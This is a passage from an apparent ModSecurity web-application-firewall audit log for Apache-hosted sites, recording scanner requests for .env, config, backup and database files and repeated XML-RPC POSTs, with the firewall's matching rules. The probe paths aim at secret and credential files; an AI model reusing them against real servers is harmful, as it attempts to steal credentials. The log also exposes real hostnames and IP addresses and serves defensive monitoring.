"www.mindscan.edu.in"] [uri "/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env"] [unique_id "aE9b5-JpWMTxMA3Q4FXtmgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031335211577 666208 (- - -) Stopwatch2: 1750031335211577 666208; combined=1844, p1=360, p2=1386, p3=0, p4=0, p5=97, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bddc465b-Z-- --d1b75025-A-- [16/Jun/2025:05:19:12.120474 +0530] aE9b90oyC4_VyyL7sS6Q9wAAAAI 185.177.72.210 44034 127.0.0.1 7081 --d1b75025-B-- GET /:8008/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d1b75025-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7b8ae0ea1ab2483fd6f3d084acc52c831750031351; expires=Mon, 16 Jun 2025 00:49:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d1b75025-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/database/.env"] [unique_id "aE9b90oyC4_VyyL7sS6Q9wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031351373485 747083 (- - -) Stopwatch2: 1750031351373485 747083; combined=1956, p1=359, p2=1495, p3=0, p4=0, p5=101, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d1b75025-Z-- --deafaf74-A-- [16/Jun/2025:05:19:12.875617 +0530] aE9b98alTF-TysO2fMOHggAAAAE 128.199.112.101 44070 127.0.0.1 7081 --deafaf74-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --deafaf74-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --deafaf74-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9b98alTF-TysO2fMOHggAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031351915809 959863 (- - -) Stopwatch2: 1750031351915809 959863; combined=2512, p1=401, p2=1654, p3=49, p4=95, p5=192, sr=116, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deafaf74-Z-- --421e815f-A-- [16/Jun/2025:05:19:37.005215 +0530] aE9cEJbumDYPKpRD2ekvYQAAAAA 185.177.72.210 50730 127.0.0.1 7081 --421e815f-B-- GET /:8880/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --421e815f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2ec921cda17d6e6f7ad5623decdee5c61750031376; expires=Mon, 16 Jun 2025 00:49:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --421e815f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/src/.env"] [unique_id "aE9cEJbumDYPKpRD2ekvYQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031376350392 654886 (- - -) Stopwatch2: 1750031376350392 654886; combined=2253, p1=429, p2=1736, p3=0, p4=0, p5=88, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --421e815f-Z-- --76c51e4d-A-- [16/Jun/2025:05:20:12.050673 +0530] aE9cM1xTdrwJSUMoZvG6MQAAAAc 128.199.112.101 57808 127.0.0.1 7081 --76c51e4d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --76c51e4d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --76c51e4d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (47+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (47+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9cM1xTdrwJSUMoZvG6MQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031411057977 992774 (- - -) Stopwatch2: 1750031411057977 992774; combined=2277, p1=416, p2=1459, p3=43, p4=55, p5=193, sr=123, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76c51e4d-Z-- --ef9de354-A-- [16/Jun/2025:05:20:37.215667 +0530] aE9cTKpdvXW4_hknQUUwOgAAAAo 185.177.72.210 35366 127.0.0.1 7081 --ef9de354-B-- GET /httpd.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef9de354-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69bc8fe54df4050c49b0dab7cfb968921750031437; expires=Mon, 16 Jun 2025 00:50:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef9de354-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/httpd.conf"] [unique_id "aE9cTKpdvXW4_hknQUUwOgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031436496172 719566 (- - -) Stopwatch2: 1750031436496172 719566; combined=1792, p1=359, p2=1337, p3=0, p4=0, p5=95, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef9de354-Z-- --e8dae716-A-- [16/Jun/2025:05:20:42.135907 +0530] aE9cUdVsbyFDndheOrkwEgAAAAE 185.177.72.210 38308 127.0.0.1 7081 --e8dae716-B-- GET /:8443/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8dae716-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b47bb0c7dc16e672fa081426b54ca4c1750031441; expires=Mon, 16 Jun 2025 00:50:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8dae716-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/new/.env"] [unique_id "aE9cUdVsbyFDndheOrkwEgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031441461932 674050 (- - -) Stopwatch2: 1750031441461932 674050; combined=2127, p1=618, p2=1402, p3=0, p4=0, p5=107, sr=166, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8dae716-Z-- --a5783160-A-- [16/Jun/2025:05:20:51.421845 +0530] aE9cWkoyC4_VyyL7sS6RMQAAAAI 185.177.72.210 48050 127.0.0.1 7081 --a5783160-B-- GET /download/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5783160-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ac273a12d01e2fb2687e0fe23575d5cf1750031451; expires=Mon, 16 Jun 2025 00:50:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5783160-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/download/.env"] [unique_id "aE9cWkoyC4_VyyL7sS6RMQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031450754797 667110 (- - -) Stopwatch2: 1750031450754797 667110; combined=1833, p1=359, p2=1381, p3=0, p4=0, p5=93, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5783160-Z-- --7c1b1856-A-- [16/Jun/2025:05:20:55.377182 +0530] aE9cXkoyC4_VyyL7sS6RMwAAAAI 185.177.72.210 48440 127.0.0.1 7081 --7c1b1856-B-- GET /project_root/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c1b1856-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e8787465240281a0d0bbca8764e3a471750031455; expires=Mon, 16 Jun 2025 00:50:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c1b1856-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/project_root/.env"] [unique_id "aE9cXkoyC4_VyyL7sS6RMwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031454685318 691941 (- - -) Stopwatch2: 1750031454685318 691941; combined=1817, p1=315, p2=1374, p3=0, p4=0, p5=127, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c1b1856-Z-- --68194303-A-- [16/Jun/2025:05:21:07.284339 +0530] aE9calEBvmqd8j7Fed2nXAAAABM 185.177.72.210 57134 127.0.0.1 7081 --68194303-B-- GET /personal.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68194303-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=87a65c13ab90cd1126ad0cb3535c3c021750031467; expires=Mon, 16 Jun 2025 00:51:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68194303-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/personal.mdb"] [unique_id "aE9calEBvmqd8j7Fed2nXAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031466524300 760115 (- - -) Stopwatch2: 1750031466524300 760115; combined=1711, p1=353, p2=1250, p3=0, p4=0, p5=108, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68194303-Z-- --67080233-A-- [16/Jun/2025:05:21:12.667361 +0530] aE9cb_thHqQhfrOWofuJrgAAAAA 128.199.112.101 41786 127.0.0.1 7081 --67080233-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --67080233-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --67080233-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9cb_thHqQhfrOWofuJrgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031471712017 955400 (- - -) Stopwatch2: 1750031471712017 955400; combined=2403, p1=408, p2=1549, p3=49, p4=78, p5=197, sr=105, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --67080233-Z-- --02e9d616-A-- [16/Jun/2025:05:21:23.644530 +0530] aE9ce69aeHfzqoyJ7PMfCQAAABY 92.60.40.223 55696 127.0.0.1 7080 --02e9d616-B-- GET /.env HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 92.60.40.223 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.12.11 --02e9d616-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --02e9d616-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.env"] [unique_id "aE9ce69aeHfzqoyJ7PMfCQAAABY"] Stopwatch: 1750031483641382 3210 (- - -) Stopwatch2: 1750031483641382 3210; combined=1984, p1=399, p2=1440, p3=19, p4=25, p5=101, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02e9d616-Z-- --1ba1eb31-A-- [16/Jun/2025:05:21:48.521231 +0530] aE9ck_bo0R64L12N_alQCwAAAAQ 185.177.72.210 49856 127.0.0.1 7081 --1ba1eb31-B-- GET /conf.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ba1eb31-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7158f671609ad88d09169fbb293ad3a01750031508; expires=Mon, 16 Jun 2025 00:51:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ba1eb31-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/conf.php.bak"] [unique_id "aE9ck_bo0R64L12N_alQCwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031507851679 669619 (- - -) Stopwatch2: 1750031507851679 669619; combined=1847, p1=305, p2=1446, p3=0, p4=0, p5=95, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ba1eb31-Z-- --3996e553-A-- [16/Jun/2025:05:21:50.492853 +0530] aE9clfbo0R64L12N_alQDAAAAAQ 185.177.72.210 38638 127.0.0.1 7081 --3996e553-B-- GET /settings/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3996e553-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a600facdb0bbad49070258d0b71d94961750031510; expires=Mon, 16 Jun 2025 00:51:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3996e553-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.prod"] [unique_id "aE9clfbo0R64L12N_alQDAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031509833412 659520 (- - -) Stopwatch2: 1750031509833412 659520; combined=2108, p1=451, p2=1545, p3=0, p4=0, p5=112, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3996e553-Z-- --0295631d-A-- [16/Jun/2025:05:21:51.509795 +0530] aE9cltVsbyFDndheOrkwOQAAAAE 185.177.72.210 38696 127.0.0.1 7081 --0295631d-B-- GET /:8080/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0295631d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1820db9f1f965f52d18c2ccc8cb0a2eb1750031511; expires=Mon, 16 Jun 2025 00:51:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 